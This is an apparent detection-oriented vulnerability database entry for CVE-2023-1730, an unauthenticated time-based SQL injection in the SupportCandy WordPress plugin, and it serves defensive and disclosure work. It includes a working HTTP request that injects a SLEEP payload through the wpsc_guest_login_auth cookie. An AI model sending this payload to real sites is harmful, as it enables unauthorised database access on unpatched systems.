🔙 목록으로 돌아가기

CVE-2023-1730: SupportCandy < 3.1.5 - Unauthenticated SQL Injection

TitleSupportCandy < 3.1.5 - Unauthenticated SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationFixed in version 3.1.5
CVSS Score9.8
EPSS Score0.75117
CVE IDCVE-2023-1730
CWE IDCWE-89
Tags time-based-sqli cve2023 cve sqli wpscan wordpress supportcandy unauth vuln

🔍 Vulnerability Description

The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1730.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1730.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A